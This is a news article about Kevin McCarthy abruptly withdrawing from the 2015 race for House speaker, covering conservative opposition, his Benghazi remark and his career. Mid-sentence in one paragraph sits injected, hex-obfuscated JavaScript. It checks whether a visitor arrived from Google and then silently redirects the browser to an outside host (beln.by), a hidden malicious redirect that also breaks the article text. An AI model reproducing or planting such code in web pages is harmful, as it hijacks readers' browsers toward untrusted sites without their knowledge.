Kevin McCarthy bows out of speakership fight

Kevin McCarthy, minutes after announcing he was withdrawing his bid to be House speaker. (Photo: Manuel Balce Ceneta/AP)

Kevin McCarthy, whose meteoric rise in the California Assembly’s GOP ranks was matched only by his rise in Congress, abruptly halted his upward trajectory Thursday: He withdrew from the race for House speaker — a stunning move that threw his GOP colleagues into disarray.

McCarthy, a congenial Bakersfield Republican who is viewed in the House as a moderate, had been favored to take the speakership,  after serving as Majority Leader under departing Speaker John Boehner.

“Over the last week it has become clear to me that our Conference is deeply divided and needs to unite behind one leader,” McCarthy said

But a well-organized core of about 40 conservative Republicans opposed McCarthy, vowed to vote against him and on Wednesday offered their own candidate for the job: veteran Congressman Daniel Webster of Florida, a conservative and former speaker of the Florida House.

The conservatives’ opposition appeared to gain traction after several verbal miscues by McCarthy var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. Those included his comments during a television interview that the House committee investigating then-Secretary of State Hillary Clinton’s role in the fatal attack on a U.S. diplomatic compound in Benghazi was set up to damage her politically in her presidential bid.

“Over the last week it has become clear to me that our Conference is deeply divided and needs to unite behind one leader,” McCarthy said, noting that his Benghazi comment “wasn’t helpful… I could have said it much better,”

McCarthy was first elected to the House only in 2006.  He is the fastest-rising, least experienced majority leader in the history of the House of Representatives. When he assumed the majority leadership position, he had served only seven years, six months and 29 days in the House.  That is the least experience of any floor leader in the House’s history.

His networking skills, well known in Sacramento and D.C., played a pivotal role in his rise, as did his position on the staff of former House Ways and Means Committee Chairman Bill Thomas, long a Congressional power.

McCarthy’s 23rd District is tailor-made for him: He won his fifth term in 2014 with nearly 75 percent of the vote.

His swift ascent in Washington reflects his record in Sacramento.  He was elected to the Assembly in 2002, and served a mere four years.  But during that time, he became the Republicans’ minority leader.

In the House, McCarthy has been a loyal lieutenant to Boehner and reported himself as stunned when Boehner announced he was stepping down as speaker and resigning his House seat as well. Many of the same conservative members of the House who opposed Boehner also opposed McCarthy.

If McCarthy had become speaker, the White House was expecting a sea change in its dealings with the House.

“It’s not as if there’s been a multitude of areas where the House Republican caucus has sought to cooperate previously,” President Obama said during a press conference with Chinese President Xi Jinping last month. “So I don’t necessarily think that there’s going to be a big shift.”


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